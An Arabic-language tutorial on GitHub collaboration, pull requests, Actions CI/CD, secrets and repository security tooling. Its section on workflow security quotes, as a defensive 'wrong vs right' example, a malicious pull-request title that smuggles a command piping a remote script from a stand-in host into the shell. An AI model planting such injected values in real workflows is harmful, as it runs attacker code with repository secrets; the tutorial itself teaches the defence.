Software Engineer Encyclopedia
0%
Domain 01 · Computer Science & Programming Fundamentals · Topic 1.6

GitHub: التعاون، الـ Pull Requests والـ Actions والأمان

GitHub

Git هو الأداة اللي بتدير التاريخ على جهازك، وGitHub هو المنصة اللي بتحوّله لشغل فريق: Issues وPull Requests وCode Review وحماية الـ branches وCI/CD بـ Actions وإدارة الـ secrets والتحذيرات الأمنية. الدرس ده بيشرح الطبقة دي من غير ما يعيد اللي اتشرح في درس Git.

  • Foundation
  • ~22 min read
  • 12 sections
  • 13 code examples
  • 4 diagrams
  • 10 questions
  • Priority L1 · Important
  • GitHub Actions · actions/checkout@v7 · setup-dotnet@v6 · cache@v6 · .NET 10

المتطلبات قبل ما تبدأ

مفيش متطلبات — ده أول الطريق. يكفي إنك كتبت كود بأي لغة قبل كده.

  • الدرس السابق في المجال: Git

مستوى التعمق المطلوب

DEEP PRACTICALUse pull requests and a clean repository workflow in your projects.

01

GitHub فوق Git: إيه اللي بيضيفه؟

Git vs GitHub · repositories, README and visibility
Basics

Git (اتشرح بالتفصيل في درس Git) نظام موزع: كل واحد عنده نسخة كاملة من التاريخ. لكن الفريق محتاج مكان مركزي متفق عليه ومعاه أدوات تعاون: مين غيّر إيه، مين راجع، إيه اللي اتختبر، مين مسموحله ينشر. ده بالظبط اللي GitHub بيضيفه فوق الـ remote العادي.

Local repocommits · branches(Git only) push fetch GitHub repository (origin) IssuesProjects · Templates Pull RequestsReview · Merge ActionsCI/CD · Secrets SecurityDependabot · CodeQL · AdvisoriesSecret scanning GovernanceRulesets · CODEOWNERSPermissions · Releases
Git بيدير التاريخ، و GitHub هو الـ remote اللي حواليه طبقة تعاون وأتمتة وأمان. الـ pull requests والـ checks هي نقطة الالتقاء بين الطبقتين.

الـ Repository و README و الـ Visibility

  • Repository (repo): مشروع واحد = تاريخ Git كامل + الـ Issues والـ PRs والـ Actions والإعدادات الخاصة بيه. الـ visibility: public (أي حد يشوفه) أو private (بصلاحيات) أو internal (جوه مؤسسة Enterprise).
  • README.md: أول حاجة بتظهر لأي زائر. القارئ لازم يعرف منه: المشروع بيعمل إيه، إزاي يشغّله (prerequisites و build و test)، إزاي يساهم، والترخيص. README ضعيف معناه إن ناس كتير هتسيب الـ repo من أول دقيقة.
  • ملفات «صحة الـ repo» المعروفة: LICENSE و CONTRIBUTING.md و CODE_OF_CONDUCT.md و SECURITY.md (بيقول إزاي تبلّغ عن ثغرة). GitHub بيعرضها تلقائياً في واجهة الـ repo.
  • Default branch: الـ branch اللي بتتحدد منها الـ PRs افتراضياً وبتتحمّل منها الـ README. غالباً main.
أنشئ وانسخ بـ gh

الـ GitHub CLI (gh) بيعمل كل اللي في الواجهة من الـ terminal. هنستخدمه في أمثلة الدرس لأن الأوامر أوضح من لقطات الشاشة وقابلة للتكرار.

02

الـ Issues والـ Templates والـ Projects

Issues · issue and PR templates · GitHub Projects basics
Practical

الـ Issue هو وحدة العمل أو المشكلة: bug أو feature أو سؤال. قيمته الحقيقية في إنه بيربط النقاش بالكود: أي PR بيقدر يشاور على issue، ولما الـ PR يتدمج الـ issue يتقفل تلقائياً.

  • Labels (bug, enhancement, good first issue) وAssignees وMilestones لتجميع الشغل في إصدار.
  • Keywords للإغلاق التلقائي: كتابة Closes #42 أو Fixes #42 في وصف الـ PR بتقفل issue رقم 42 لما الـ PR يتدمج في الـ default branch.
  • GitHub Projects: لوحة (Board) أو جدول (Table) أو Roadmap بتجمّع issues و PRs من أكتر من repo، وتقدر تضيف fields مخصصة (Status, Priority, Sprint) وأتمتة بسيطة (مثلاً الـ item يتحرك لـ Done لما يتقفل). هي أداة تنظيم خفيفة، مش بديل كامل لأدوات إدارة المشاريع الكبيرة.

Templates: عشان كل بلاغ يجي كامل

من غير template، نص البلاغات بيبقى «مش شغال». الـ Issue Forms (ملفات YAML) بتعمل نموذج بحقول إجبارية، والـ PR template (ملف Markdown) بيملّي وصف الـ PR تلقائياً.

YAML.github/ISSUE_TEMPLATE/bug_report.yml
name: Bug report
description: Report something that is not working
labels: ["bug", "triage"]
body:
  - type: textarea
    id: what-happened
    attributes:
      label: What happened?
      description: Describe the bug and what you expected instead.
    validations:
      required: true
  - type: textarea
    id: repro
    attributes:
      label: Steps to reproduce
      placeholder: |
        1. Call POST /orders with an empty body
        2. Observe the response
    validations:
      required: true
  - type: input
    id: version
    attributes:
      label: App version
    validations:
      required: false
Markdown.github/pull_request_template.md
## What and why
<!-- One paragraph: the problem and the approach -->

Closes #

## How to test
- [ ] `dotnet test` passes locally
- [ ] Manual check: ...

## Checklist
- [ ] Tests added or updated
- [ ] No secrets or credentials in the diff
- [ ] Docs / OpenAPI updated if the API changed

الشرح

  1. الملفات لازم تكون في مجلد .github/ في الـ default branch عشان GitHub يلقطها.
  2. في الـ Issue Form: body قايمة حقول، كل حقل له type (textarea, input, dropdown, checkboxes) و attributes للعنوان والوصف، و validations.required: true بيمنع الإرسال لو فاضي. labels بتتحط تلقائياً على الـ issue.
  3. سطر Closes # في الـ PR template بيفكّر الكاتب يربط الـ issue، وبعدها الربط والإغلاق أوتوماتيك.
03

الـ Pull Request والـ Code Review

Pull requests · code reviews
Deep dive

الـ Pull Request (PR) طلب بدمج branch في branch تانية، لكنه عملياً مساحة نقاش ومراجعة وفحص آلي حوالين التغيير. مفهوم الـ branch نفسه والـ PR workflow العام اتشرحوا في درس Git؛ هنا التركيز على اللي GitHub بيضيفه.

Branchfeature/x Open PRdiff + discussion CI checksbuild · test · scan Code reviewcomments · approve Mergerules satisfied main+ delete
دورة حياة الـ PR: الـ checks الآلية والمراجعة البشرية بيشتغلوا بالتوازي، والدمج مش بيتفتح إلا لما الاتنين يعدّوا (لو الـ branch محمية).

الأوامر العملية بـ gh

BashPR lifecycle from the terminal (GitHub CLI)
# 1) Create a repository from the current folder and push it
gh repo create orders-api --private --source=. --remote=origin --push

# 2) Work on a branch, then open a PR (title/body taken from the commits)
git switch -c feature/order-validation
git commit -am "feat(orders): reject empty order lines"
git push -u origin feature/order-validation
gh pr create --base main --fill

# 3) See the checks and the review state
gh pr checks
gh pr view --comments

# 4) As a reviewer: check the PR out locally, test it, then approve
gh pr checkout 128
gh pr review 128 --approve --body "Looks good. One non-blocking naming nit inline."

# 5) Merge with the allowed strategy and clean up the branch
gh pr merge 128 --squash --delete-branch

الشرح

  1. gh pr create --fill بيعبّي العنوان والوصف من رسائل الـ commits؛ والـ PR template بيتحمّل تلقائياً لو موجود.
  2. gh pr checks بيعرض نتيجة كل check (الأخضر والأحمر) من غير ما تفتح المتصفح.
  3. gh pr checkout 128 بينزّل الـ branch الخاصة بالـ PR ويحوّلك عليها، فتقدر تشغّل الكود وتجرّبه فعلياً قبل الموافقة.
  4. gh pr merge --squash --delete-branch بيدمج بإستراتيجية Squash (هنشرحها بعد شوية) ويمسح الـ branch.

الـ Code Review: مراجعة الكود كمهارة

كمُراجِع

  • اقرأ الوصف الأول: ليه التغيير ده؟ وبعدين الـ diff.
  • ركّز على الصحة والأمان والتصميم والاختبارات قبل الأسلوب (الأسلوب الأوتوماتيكي يطلع من linter).
  • فرّق بين blocking وملاحظة اختيارية (nit:).
  • اسأل بدل ما تأمر: «إيه رأيك لو...؟».
  • استخدم الأنواع: Comment وApprove وRequest changes.

كصاحب الـ PR

  • خلّي الـ PR صغير (يفضّل أقل من حوالي 400 سطر) ومركّز على غرض واحد.
  • اكتب «ليه» مش «إيه» بس.
  • راجع الـ diff بنفسك قبل ما تطلب مراجعة.
  • ردّ على كل تعليق: عدّل، أو اشرح ليه لأ. وبعد التعديل اعمل Resolve conversation.
  • استخدم Draft PR لو لسه بتجمع الشغل وعايز feedback بدري.
04

Merge Strategies وحماية الـ Branches و CODEOWNERS

Merge strategies · branch protection and rulesets · CODEOWNERS
Deep dive

3 طرق لدمج الـ PR

GitHub بيوفر تلات إستراتيجيات للدمج. الاختيار بيحدد شكل تاريخ الـ main للأبد، ولازم الفريق يتفق على واحدة (أو أكتر، ويقفل الباقي من إعدادات الـ repo).

Merge commit all commits kept + 1 merge commitabc Squash and merge one commit = a+b+c · linear history Rebase and merge a' b' c' = new hashes · linear · no merge commit
نفس الـ PR (3 commits: a, b, c) بعد الدمج بالطرق التلاتة. الدواير الرمادية تاريخ main، والملونة commits الـ PR أو نتيجتها.
قاعدة اختيار سريعة

عايز تاريخ main نضيف ومريح في الـ revert ⇒ Squash. عايز تحافظ على commits مرتبة ومقصودة ⇒ Rebase. عايز الحقيقة الكاملة للتفرّع ⇒ Merge commit.

الطريقةالتاريخالأنسب لـالحذر
Merge commitمتفرّع، فيه merge commitbranches طويلة العمر، release branchesتاريخ مزدحم؛ git log --first-parent بيساعد
Squash and mergeخطي، commit واحد لكل PRالفرق اللي كل PR فيها وحدة عمل واحدةتفقد granularity؛ لازم عنوان الـ PR يبقى رسالة commit جيدة
Rebase and mergeخطي، كل commit محفوظcommits نضيفة ومكتوبة بعنايةالـ hashes بتتغيّر، فمش مناسب لو الـ commits فيها تجارب/«fix typo»

حماية الـ Branches: Rulesets و Branch Protection

من غير حماية، أي حد عنده write access يقدر يعمل push مباشر على main أو يعمل force push ويمسح تاريخ. الحماية بتحوّل «اتفاق الفريق» لقاعدة بتفرضها المنصة. فيه نظامين:

  • Branch protection rules (الكلاسيكي): قاعدة واحدة لكل pattern.
  • Rulesets: الأحدث والأكثر مرونة. ممكن أكتر من ruleset تنطبق على نفس الـ branch، وتقدر توقف التنفيذ من غير حذف، وتستهدف branches و tags بـ patterns. لو القاعدتين (rulesets و classic) اتداخلوا، الأكثر تشدداً هو اللي بيتطبق (حسب توثيق GitHub). الأفضل تبدأ بـ Rulesets لأي repo جديد.
القاعدةبتحمي من إيه
Require a pull request before merging (+ عدد الموافقات)push مباشر على main بدون مراجعة
Require status checks to passدمج كود بيكسر الـ build أو الاختبارات
Dismiss stale approvals on new commitsموافقة على كود اتغيّر بعدها
Require review from Code Ownersتعديل منطقة حساسة من غير موافقة صاحبها
Block force pushes / restrict deletionsإعادة كتابة تاريخ main أو مسح الـ branch
Require signed commits / linear historycommits مجهولة المصدر، أو merge commits لو الفريق اختار تاريخ خطي
الـ status check لازم يكون إجباري فعلاً

مجرد إن الـ CI شغّال مش كفاية: لو مش محدد كـ required check في الـ ruleset، الـ PR الأحمر ممكن يتدمج. اسم الـ check لازم يطابق اسم الـ job في الـ workflow.

CODEOWNERS

ملف بيقول مين مسؤول عن أنهي مسارات. لما PR يلمس ملفات مملوكة، GitHub بيطلب مراجعة أصحابها تلقائياً، ولو فعّلت «Require review from Code Owners» بتبقى الموافقة إجبارية. الملف ممكن يكون في .github/ أو root أو docs/، والـ owners لازم يكون عندهم write access.

Text.github/CODEOWNERS
# Default owner for everything (matches first, can be overridden below)
*                       @acme/backend-team

# Specific areas: the LAST matching pattern wins
/src/Orders/            @acme/orders-team
/src/Payments/          @acme/payments-team @alice
*.sql                   @acme/dba-team
/.github/workflows/     @acme/platform-team
/docs/                  @acme/tech-writers

الشرح

  1. الصيغة: pattern owner1 owner2. الـ owner ممكن يكون مستخدم (@alice) أو فريق (@org/team).
  2. الترتيب مهم: آخر pattern مطابق هو اللي بيكسب. عشان كده السطر العام * فوق والأخص تحته.
  3. تغيير في /src/Payments/Refund.cs هيطلب مراجعة @acme/payments-team و @alice فقط (مش الـ backend-team).
  4. حماية /.github/workflows/ مهمة: مين يعدّل الـ pipeline بيتحكم في اللي بيشتغل بـ secrets (هنشوف ده في قسم الأمان).
05

الـ Releases والـ Tags

Releases and tags · semantic versioning
Practical

الـ tag اسم ثابت لـ commit معيّن (شرحنا أنواعه في درس Git). الـ GitHub Release هو كائن فوق الـ tag: عنوان، ملاحظات إصدار (release notes)، ملفات مرفقة (assets) مثل الـ zip أو الـ installer، وعلامات pre-release و draft.

  • Semantic Versioning: MAJOR.MINOR.PATCH. MAJOR لتغيير بيكسر التوافق، MINOR لإضافة متوافقة، PATCH لإصلاح. مثال: v2.4.1.
  • Release notes ممكن تتولّد تلقائياً من الـ PRs المدمجة (--generate-notes) وتتصنّف بالـ labels.
  • الـ release مش بيبني حاجة بنفسه؛ عادةً الـ workflow بيتشغّل على push لـ tag بيبدأ بـ v وبيبني وينشر الـ assets (شوف قسم Actions).
BashTag and publish a release
# Annotated tag on the current commit, pushed to GitHub
git tag -a v1.4.0 -m "Release 1.4.0"
git push origin v1.4.0

# Create the release with auto-generated notes and an attached asset
gh release create v1.4.0 ./artifacts/orders-api-1.4.0.zip \
  --title "v1.4.0" \
  --generate-notes

# A release candidate stays hidden from the "latest release" badge
gh release create v1.5.0-rc.1 --prerelease --generate-notes
06

GitHub Actions وأساسيات الـ CI/CD

GitHub Actions · workflow anatomy · CI/CD basics
Deep dive

Continuous Integration (CI): كل تغيير يتبني ويتختبر آلياً أول ما يتدفع، عشان تكتشف الكسر في دقائق مش في أسابيع. Continuous Delivery/Deployment (CD): نفس الأتمتة بتكمل لحد تجهيز أو نشر الإصدار. الـ GitHub Actions هو محرك الأتمتة المدمج: بتكتب ملف YAML في .github/workflows/ وهو بيشتغل على الأحداث (events). (CI/CD كممارسة أوسع وأدواتها في قسم DevOps.)

Eventpush · pull_request Workflow (ci.yml) Job: build-test (ubuntu runner) 1. actions/checkout 2. actions/setup-dotnet 3. dotnet restore / build 4. dotnet test needs Job: publish (only on tag) 1. download build output 2. dotnet publish 3. gh release upload
تشريح الـ workflow: حدث (event) يشغّل workflow، والـ workflow فيه jobs (بتتوازى افتراضياً أو بترتيب بـ needs)، وكل job بيشتغل على runner منفصل وفيه steps بتتنفّذ بالترتيب.

مصطلحات الـ workflow

  • Event/Trigger: push, pull_request, schedule (cron), workflow_dispatch (يدوي), release, workflow_call (للـ reusable).
  • Job: مجموعة steps بتشتغل على runner واحد. الـ jobs متوازية افتراضياً، و needs: بتفرض ترتيب.
  • Runner: الجهاز اللي بينفّذ (ubuntu-latest مستضاف من GitHub، أو self-hosted). كل job بيبدأ على بيئة نضيفة، فمفيش حالة بتنتقل بين الـ jobs إلا عن طريق artifacts أو cache.
  • Step: إما run: (أمر shell) أو uses: (action جاهز).
  • Action: وحدة قابلة لإعادة الاستخدام (actions/checkout) بتتحدد بـ owner/repo@ref.
YAML.github/workflows/ci.yml
name: CI

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

# Cancel an older run of the same branch when a newer commit arrives
concurrency:
  group: ci-${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

# Least privilege for GITHUB_TOKEN: this workflow only reads code
permissions:
  contents: read

jobs:
  build-test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - name: Checkout
        uses: actions/checkout@v7

      - name: Setup .NET
        uses: actions/setup-dotnet@v6
        with:
          dotnet-version: '10.0.x'

      - name: Restore
        run: dotnet restore

      - name: Build
        run: dotnet build --configuration Release --no-restore

      - name: Test
        run: dotnet test --configuration Release --no-build --verbosity normal

الشرح

  1. on: الـ workflow بيشتغل لما حد يعمل push على main، أو لما PR يتفتح/يتحدّث ناحية main. ده اللي بيعمل «check» على كل PR.
  2. concurrency: لو دفعت 3 commits ورا بعض، الـ runs القديمة بتتلغي وبيفضل الأحدث بس؛ توفير في الدقايق (والفلوس).
  3. permissions: بتقيّد الـ GITHUB_TOKEN (token مؤقت بتوفره GitHub لكل run) لقراءة الكود فقط.
  4. actions/checkout: لأن الـ runner بيبدأ فاضي، لازم تنزّل الكود الأول. من غيره dotnet restore هيفشل لعدم وجود مشروع.
  5. setup-dotnet بيثبّت الـ SDK. '10.0.x' يعني «آخر patch من 10.0».
  6. الـ --no-restore و --no-build بيمنعوا تكرار نفس الشغل في كل خطوة.

تتبّع تنفيذ PR: المطور يفتح PR ⇐ GitHub يلاقي on.pull_request مطابق ⇐ يحجز runner ⇐ ينفذ الـ steps بالترتيب ⇐ أول step يفشل بيوقف الـ job ويظهر ❌ في الـ PR ⇐ لو الـ job مضاف كـ required check، الدمج يتقفل لحد ما يتصلح ويعدّي.

CI/CD قصّة قيم مش أدوات

CI سريع (أقل من 10 دقايق) وموثوق (مفيش tests بتفشل عشوائياً) هو اللي بيخلي الفريق يدمج بثقة. أي check بطيء أو flaky الناس هتتعلم تتجاهله، وساعتها هتخسر الفايدة كلها.

07

Secrets و Variables والـ Permissions

Secrets and variables · permissions · securing workflows
Deep dive

الـ workflow بينفّذ كود على سيرفر بيعدّي عليه credentials. لو اتساب سهو، الـ pipeline بيتحول لأسهل طريق للاختراق.

Secrets مقابل Variables

Secrets

  • قيم حساسة: API keys، connection strings، tokens.
  • بتتشفّر وبتتخبّى (masked) من الـ logs، وبتتقرا كـ ${{ secrets.NAME }}.
  • مستويات: repository وenvironment وorganization.

Variables

  • إعدادات مش حساسة: اسم region، رقم إصدار، feature flag.
  • مرئية وقابلة للقراءة والتعديل، وبتتقرا كـ ${{ vars.NAME }}.
  • نفس المستويات التلاتة.

Environments (مثل staging و production) بتضيف قواعد: موافقة يدوية من reviewers محددين قبل ما الـ job يبدأ، وقيد على الـ branches المسموح لها تنشر، و secrets خاصة بالبيئة فقط. ده الأساس الآمن للـ CD.

GITHUB_TOKEN والـ Permissions

كل run بياخد GITHUB_TOKEN مؤقت (بينتهي مع الـ job). صلاحياته بتتحدد بالـ permissions:: لو ما حددتش، بتاخد الإعداد الافتراضي للـ repo أو المؤسسة. القاعدة الذهبية: ابدأ بـ contents: read وزوّد لكل job بس اللي محتاجه. وعلى مستوى الـ repository فيه صلاحيات المستخدمين: Read، Triage، Write، Maintain، Admin، وبتعطي كل مستوى أقل صلاحية تكفي.

YAMLDeploy job: environment approval + scoped permissions + safe input handling
name: Deploy

on:
  push:
    tags: ['v*']

permissions:
  contents: read            # default for every job in this workflow

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production          # waits for required reviewers
    permissions:
      contents: write                # this job only: attach assets to the release
      id-token: write                # this job only: OIDC login to a cloud provider
    steps:
      - uses: actions/checkout@v7

      - name: "Print release name (SAFE: untrusted value goes through env)"
        env:
          RELEASE_NAME: ${{ github.event.release.name }}
        run: echo "Deploying $RELEASE_NAME"

      - name: Call deployment API
        env:
          API_KEY: ${{ secrets.DEPLOY_API_KEY }}     # environment secret
          API_URL: ${{ vars.DEPLOY_API_URL }}        # non-sensitive variable
        run: 'curl --fail -H "Authorization: Bearer $API_KEY" "$API_URL/deploy"'

الشرح

  1. environment: production بيوقف الـ job لحد ما الـ reviewers المحددين يوافقوا، وبيفتح الوصول لـ secrets البيئة دي بس بعد الموافقة.
  2. الـ permissions على مستوى الـ job بتتغلّب على مستوى الـ workflow. id-token: write بيسمح بـ OIDC: الـ job بياخد token قصير العمر يثبت هويته لمزوّد السحابة (Azure/AWS/GCP) بدل تخزين secret طويل العمر، وده أأمن.
  3. الـ secrets بتتمرّر لـ env: وبعدين بنستخدمها كمتغيرات shell ($API_KEY).

أخطاء أمنية شائعة في الـ workflows

YAMLScript injection: wrong vs right
# WRONG: the PR title is attacker-controlled and is pasted INTO the script text.
# A title like:  x"; curl evil.sh | sh; echo "   becomes executable shell.
- run: echo "PR title is ${{ github.event.pull_request.title }}"

# RIGHT: pass it as an environment variable; the shell treats it as plain data.
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title is $TITLE"
  • Script injection (فوق): ${{ }} بيتبدّل بالنص قبل ما الـ shell يشتغل. أي قيمة من خارجك (عنوان PR، اسم branch، body) متحطهاش جوه run: مباشرة.
  • الـ fork PRs: الـ workflow اللي بيشتغل على pull_request من fork مش بياخد secrets، ودي حماية مقصودة. لكن pull_request_target بيشتغل في سياق الـ repo الأصلي ومعاه secrets، فلو عملت checkout لكود الـ PR وشغّلته فيه، كود غريب بيتنفّذ بصلاحياتك. متعملهاش.
  • Actions من طرف ثالث: بتتنفّذ بـ token و secrets الـ job. التوصية الرسمية: ثبّت كل action خارجي على full commit SHA (التاجات ممكن تتحرك أو تتمسح)، وخلّي Dependabot يحدّثها (شوف قسم الأمان).
  • أي secret اتسرّب في commit أو log: اعتبره مخترق وغيّره (rotate) فوراً، حذف الـ commit مش كفاية.
08

Reusable Workflows والـ Caching

Reusable workflows · caching in Actions
Practical

لما تبقى عندك 10 repos كل واحد فيه نفس الـ CI، نسخ ولصق الـ YAML معناه إن أي تحسين يتعمل 10 مرات. الحل: Reusable Workflow بيتعرّف مرة واحدة بـ on: workflow_call وبيتنادى من workflows تانية بـ uses: على مستوى الـ job.

YAML.github/workflows/dotnet-ci.yml (the reusable workflow)
name: Reusable .NET CI

on:
  workflow_call:
    inputs:
      dotnet-version:
        type: string
        default: '10.0.x'
      configuration:
        type: string
        default: Release

permissions:
  contents: read

jobs:
  build-test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-dotnet@v6
        with:
          dotnet-version: ${{ inputs.dotnet-version }}

      # Restore NuGet packages from cache when project files did not change
      - uses: actions/cache@v6
        with:
          path: ~/.nuget/packages
          key: ${{ runner.os }}-nuget-${{ hashFiles('**/*.csproj', '**/Directory.Packages.props') }}
          restore-keys: |
            ${{ runner.os }}-nuget-

      - run: dotnet restore
      - run: dotnet build --configuration ${{ inputs.configuration }} --no-restore
      - run: dotnet test --configuration ${{ inputs.configuration }} --no-build
YAMLCaller workflow (any repo)
name: CI
on: [pull_request]

jobs:
  ci:
    # Same repository: ./path. Another repository: owner/repo/.github/workflows/file.yml@ref
    uses: ./.github/workflows/dotnet-ci.yml
    with:
      dotnet-version: '10.0.x'

الشرح

  1. workflow_call بيعرّف الـ workflow كـ «دالة»: inputs هي الـ parameters (بنوع string/number/boolean)، وتقدر تعرّف secrets كمان.
  2. الـ caller بينادي بـ uses: على الـ job نفسه (مش على step). لو الـ reusable في repo تاني استخدم owner/repo/.github/workflows/x.yml@ref، والأأمن إن الـ ref يكون SHA. و secrets: inherit بتمرّر كل secrets الـ caller (لنفس المؤسسة).
  3. الـ permissions في الـ reusable ممكن تتقلّص بس مش تتزوّد فوق اللي أعطاه الـ caller، وعمق التداخل أقصاه 10 مستويات.
  4. الـ cache: key مبني من hash ملفات المشروع؛ لو ما اتغيّرتش، بيتعمل cache hit وبيتوفر وقت التحميل. لو اتغيّرت، restore-keys بيرجّع أقرب cache قديم كنقطة بداية والـ restore بيكمّل الباقي، وبعدين الـ cache الجديد بيتحفظ آخر الـ job.
حدود الـ cache

حسب التوثيق: الحد الافتراضي 10 GB لكل repo، والـ entries اللي مفيش وصول ليها أكتر من 7 أيام بتتمسح، وكل run بيقدر يستعيد caches من الـ branch بتاعه أو الـ default branch (والـ PR من الـ base branch). الـ cache تحسين سرعة مش مصدر حقيقة: الـ build لازم يشتغل صح حتى لو الـ cache فاضي.

09

الـ Forks والمساهمة في مشاريع الغير

Forks and open-source contribution flow
Practical

الـ Fork هو نسخة من repo على حسابك، لأن مفيش عندك write access على الأصلي. بتشتغل في الـ fork وبتفتح PR من الـ fork للـ repo الأصلي (اسمه upstream). نفس الأسلوب بيستخدم في الـ open source، وفي المؤسسات اللي بتمنع الـ push المباشر على الـ repo الرئيسي.

BashContribute through a fork
# Fork on GitHub and clone your fork (origin = your fork)
gh repo fork acme/orders-api --clone
cd orders-api

# Register the original repository as 'upstream' (gh usually does this for you)
git remote add upstream https://github.com/acme/orders-api.git   # skip if it exists

# Keep your fork's main aligned with upstream before starting work
git fetch upstream
git switch main
git merge --ff-only upstream/main
git push origin main

# Work on a topic branch, push it to YOUR fork, open a PR to upstream
git switch -c fix/rounding-bug
git commit -am "fix(orders): round totals half-even"
git push -u origin fix/rounding-bug
gh pr create --repo acme/orders-api --fill

الشرح

  1. الـ remotes: origin = الـ fork بتاعك (بتدفع فيه)، و upstream = الـ repo الأصلي (بتقرا منه بس).
  2. merge --ff-only بيضمن إن main عندك مجرد «لحقت» upstream بدون commits مدمجة غريبة؛ لو فشل يبقى فيه commits محلية على main غلط.
  3. متشتغلش على main بتاع الـ fork: اعمل branch لكل مساهمة عشان تقدر تسحّب upstream بسهولة.
  4. قبل ما تفتح PR: اقرأ CONTRIBUTING.md وشوف إن فيه issue متفق عليه، واتبع أسلوب commits المشروع.
10

أمان الـ Repository: Advisories و Dependabot و CodeQL

Security advisories · Dependabot · CodeQL · secret scanning
Deep dive

أغلب الثغرات الحقيقية جاية من dependencies قديمة وأخطاء في الكود وsecrets متسرّبة. GitHub بيدمج أدوات لكل واحدة منهم.

الأداةبتعمل إيه
Dependabot alertsبتنبّهك إن dependency عندك فيها ثغرة معروفة (من GitHub Advisory Database)
Dependabot security updatesبتفتح PR تلقائي بترقية للنسخة المصلّحة
Dependabot version updatesPRs دورية بتحدّث الـ dependencies حتى لو مفيش ثغرة (بتتظبط بـ dependabot.yml)
Code scanning (CodeQL)تحليل ثابت للكود بيدوّر على أنماط ثغرات (SQL injection، XSS...) وبيعرضها في الـ PR
Secret scanning + push protectionبتكتشف الـ tokens والمفاتيح المعروفة، والـ push protection بتمنع الـ push قبل ما يتسرّب
Security advisoriesإدارة ثغرة في مشروعك: تصلحها بشكل خاص ثم تنشر advisory (وتطلب CVE) لمّا يبقى الإصلاح جاهز

Security Advisories (repository): لو حد بلّغك بثغرة في مكتبتك، متفتحش public issue. استخدم draft advisory خاص: بتناقش فيه المشكلة مع المبلّغ، وبتعمل fix في fork/branch خاص، وبعد الإصلاح بتنشر الـ advisory فيوصل التنبيه لكل مستخدمي الحزمة. ملف SECURITY.md بيقول للناس إزاي يبلّغوا.

YAML.github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "nuget"
    directory: "/"
    schedule:
      interval: "weekly"
    groups:
      nuget-minor-patch:
        update-types: ["minor", "patch"]
        patterns: ["*"]

  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"
YAML.github/workflows/codeql.yml
name: CodeQL

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
  schedule:
    - cron: '0 3 * * 1'        # weekly full scan, Monday 03:00 UTC

jobs:
  analyze:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write   # needed to upload results to the Security tab
      actions: read
    steps:
      - uses: actions/checkout@v7
      - uses: github/codeql-action/init@v4
        with:
          languages: csharp
          build-mode: none     # analyse source without building (supported for C#)
      - uses: github/codeql-action/analyze@v4
        with:
          category: "/language:csharp"

الشرح

  1. dependabot.yml: package-ecosystem بيحدد مدير الحزم (nuget لمشاريع ‎.NET) و github-actions بيحدّث الـ actions نفسها (وده بيغطي مشكلة الـ pinning). groups بيجمّع التحديثات الصغيرة في PR واحد بدل 15 PR.
  2. codeql.yml: الـ init بيجهّز المحلّل للغة المحددة، و analyze بيشغّل الاستعلامات ويرفع النتايج. security-events: write هي الصلاحية الوحيدة الزايدة، وهي مطلوبة بالتحديد لرفع النتايج لتبويب Security.
  3. الـ cron بيعمل scan دوري حتى لو مفيش commits، لأن القواعد الجديدة بتتضاف مع الوقت.
  4. الأفضل تعتمد على مزيج: Dependabot + CodeQL + secret scanning، وتخلّي نتايجهم checks إجبارية في الـ ruleset للثغرات العالية.
ما تعتمدش على الأدوات بس

الأدوات الآلية بتفوّت ثغرات منطقية (مثل غياب فحص الصلاحيات). هي طبقة أولى جنب الـ code review والـ secure coding (راجع قسم الأمان لاحقاً)، مش بديل ليهم.

11

أخطاء شائعة وتشخيص

Common mistakes and troubleshooting
Pitfalls
الموقفالسببالحل
PR أحمر اتدمج برضهالـ check مش معرّف كـ required في الـ ruleset، أو اسمه مش مطابقأضف الـ job كـ required status check بنفس اسمه بالظبط، وفعّل «require branches up to date» لو لازم
الـ workflow مش بيشتغل أصلاًالملف خارج .github/workflows/، أو on مش مطابق، أو YAML فيه مسافات غلطاقرأ تبويب Actions (فيه رسالة خطأ للـ syntax) وتأكد من الـ branches filter
Resource not accessible by integrationالـ GITHUB_TOKEN من غير الصلاحية المطلوبةأضف permissions: المحددة للـ job اللي محتاجها فقط
الـ secret مش بيوصل للـ workflowالـ run جاي من fork، أو الـ secret على environment والـ job مش معلن environment:اتأكد من مستوى الـ secret ومن الـ trigger، وما تحلّش بـ pull_request_target بدون فهم المخاطر
الـ CI بقى بطيء جداًمفيش cache، أو بتبني كل حاجة في job واحدcache للـ packages، قسّم لـ jobs متوازية، وادّي concurrency لإلغاء القديم
الـ cache مش بيتستخدمالـ key بيتغير كل مرة، أو الـ branch مش شايفة cache الـ baseاجعل الـ key من hash ملفات الـ dependencies فقط، وراجع قواعد الـ scope
commit فيه secret اتدفعغياب push protection و .gitignoreغيّر الـ secret فوراً (rotate)، وبعدين نضّف التاريخ لو لازم، وفعّل secret scanning
تاريخ main فيه «fix typo» كتيرRebase/Merge commit من غير تنظيفخلّي الـ default Squash، أو اطلب rebase -i قبل الدمج
12

Knowledge Check

Takeaways · conceptual questions · scenarios · interview questions
Basics

أهم النقاط

  • GitHub = remote لـ Git + طبقة تعاون (Issues, PRs) + أتمتة (Actions) + أمان + governance (rulesets, CODEOWNERS).
  • الـ PR مساحة مراجعة وفحص آلي: Closes #n بيربط ويقفل، والـ templates بتضمن بلاغات ووصف كامل.
  • إستراتيجية الدمج بتحدد شكل تاريخ main: Merge commit للحقيقة الكاملة، Squash لتاريخ نضيف، Rebase للحفاظ على commits خطية.
  • الحماية بتتفرض بـ Rulesets: required PR + required status checks + block force push + Code Owners.
  • الـ workflow = event ⇒ jobs ⇒ steps على runner نضيف. استخدم permissions بأقل صلاحية، concurrency، و needs لترتيب الـ jobs.
  • الـ secrets للقيم الحساسة والـ variables للإعدادات. الـ environments بتضيف موافقات. الـ OIDC أأمن من secrets طويلة العمر.
  • أخطاء الأمان الكلاسيكية: script injection، pull_request_target مع كود الـ PR، و actions غير مثبّتة.
  • Dependabot + CodeQL + secret scanning طبقة أولى؛ مش بديل للمراجعة.

أسئلة مفاهيمية

إيه الفرق بين Git و GitHub؟

